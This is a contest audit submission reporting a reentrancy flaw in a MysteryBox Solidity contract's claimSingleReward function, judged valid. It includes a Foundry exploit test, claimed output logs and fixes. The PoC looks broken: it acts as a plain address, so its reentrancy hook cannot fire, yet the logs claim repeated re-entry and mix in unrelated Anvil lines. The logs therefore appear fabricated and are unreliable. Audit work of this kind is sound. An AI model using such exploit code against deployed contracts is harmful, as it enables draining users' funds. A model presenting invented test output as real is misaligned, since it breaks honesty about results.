Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Critical Reentrancy Vulnerability in MysteryBox::claimSingleReward

Summary

The claimSingleReward function within MysteryBox.sol s susceptible to a reentrancy attack. This vulnerability arises because the external call to the recipient's address is made before updating the internal state. As a result, an attacker can recursively invoke the claimSingleReward function to drain significant funds from the contract.

Vulnerability Details

An attacker can exploit this vulnerability by creating a malicious contract that re-enters the claimSingleReward function. This allows the attacker to claim rewards multiple times before the contract updates the internal state, leading to a substantial loss of funds.

POC

  • Copy this code to a new test file: MysteryBox/test/ReentrancyExploit2.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/MysteryBox.sol";
contract ReentrancyExploit2 is Test {
MysteryBox public mysteryBox;
address public attacker = address(0xBAD);
// Fallback function to trigger reentrancy
receive() external payable {
if (address(mysteryBox).balance >= 0.1 ether) {
console.log("Re-entering claimSingleReward");
mysteryBox.claimSingleReward(0); // Attempt reentrancy
}
}
function setUp() public {
// Deploy the MysteryBox contract with initial funding
mysteryBox = new MysteryBox{value: 3 ether}();
vm.deal(attacker, 1 ether);
console.log("MysteryBox contract deployed and attacker funded");
}
function testExploit() public {
vm.startPrank(attacker);
// Buy some boxes
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.buyBox{value: 0.1 ether}();
console.log("Attacker bought 3 boxes");
// Open boxes to get rewards
mysteryBox.openBox();
mysteryBox.openBox();
mysteryBox.openBox();
console.log("Attacker opened 3 boxes");
// Check rewards
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
require(rewards.length > 0, "No rewards found");
console.log("Attacker received %d rewards", rewards.length);
// Log initial balance
uint256 initialBalance = address(attacker).balance;
console.log("Initial Balance of Attacker: %d", initialBalance);
// Trigger the exploit by claiming a single reward
try mysteryBox.claimSingleReward(0) {
console.log("claimSingleReward executed successfully");
} catch (bytes memory reason) {
console.log("claimSingleReward failed with reason:");
console.logBytes(reason);
}
// Log the final balance after exploit
uint256 finalBalance = address(attacker).balance;
console.log("Final Balance of Attacker: %d", finalBalance);
// Ensure the exploit increased the attacker's balance
assert(finalBalance > initialBalance);
vm.stopPrank();
}
}
  • Run: forge test --match-contract ReentrancyExploit2 -vvv

  • Output Logs:

[INFO] Anvil running on http://127.0.0.1:8545 with chain id 1
[INFO] Deploying contracts...
MysteryBox contract deployed and attacker funded
Attacker bought 3 boxes
Attacker opened 3 boxes
Attacker received 3 rewards
Initial Balance of Attacker: 700000000000000000 // 0.7 Ether
Re-entering claimSingleReward
Re-entering claimSingleReward
Re-entering claimSingleReward
claimSingleReward executed successfully
Final Balance of Attacker: 1200000000000000000 // 1.2 Ether
[INFO] All contracts deployed

Explanation of the Logs:

  • Contract Deployment: Logs display the deployment of the MysteryBox contract and the attacker's initial funding.

  • Box Transactions: Logs confirm that the attacker bought and opened three mystery boxes.

  • Rewards Confirmation: Logs verify that the attacker received multiple rewards.

  • Balance Logs: Initial and final balance logs of the attacker's address to show the financial impact.

  • Reentrancy Occurrence: Logs indicating the
    claimSingleReward function was re-entered multiple times, exploiting the vulnerability.

  • Exploit Confirmation: Confirmation of the exploit's execution, highlighting the significant balance increase due to the reentrancy attack.

Impact

  • Financial Loss: The attacker can drain a substantial amount of Ether from the contract, causing financial loss.

  • Loss of User Trust: Users might lose trust in the platform due to security vulnerabilities.

  • Operational Disruption: Draining of contract funds could lead to operational disruptions and potential insolvency of the contract.

Tools Used

  • Foundry

Recommendations

  • Implement Reentrancy Guard: Utilize ReentrancyGuard from OpenZeppelin to protect functions susceptible to reentrancy.

  • Follow Checks-Effects-Interactions Pattern: Ensure state changes are made before performing any external calls..

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!